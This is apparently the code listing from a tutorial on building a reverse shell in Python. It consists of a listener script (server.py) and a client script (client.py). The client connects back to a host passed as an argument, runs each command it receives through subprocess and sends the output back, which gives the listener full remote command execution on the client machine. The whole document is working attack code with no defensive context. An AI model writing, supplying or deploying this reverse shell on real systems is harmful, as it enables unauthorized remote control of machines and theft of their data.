Code for How to Create a Reverse Shell in Python

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server.py

import socket

SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003

BUFFER_SIZE = 1024

# create a socket object
s = socket.socket()

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
# make the PORT reusable
# when you run the server multiple times in Linux, Address already in use error will raise
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")

# just sending a message, for demonstration purposes
message = "Hello and Welcome".encode()
client_socket.send(message)

while True:
    # get the command from prompt
    command = input("Enter the command you wanna execute:")
    # send the command to the client
    client_socket.send(command.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # retrieve command results
    results = client_socket.recv(BUFFER_SIZE).decode()
    # print them
    print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()

client.py

import socket
import subprocess
import sys

SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 1024

# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))

# receive the greeting message
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)

while True:
    # receive the command from the server
    command = s.recv(BUFFER_SIZE).decode()
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close()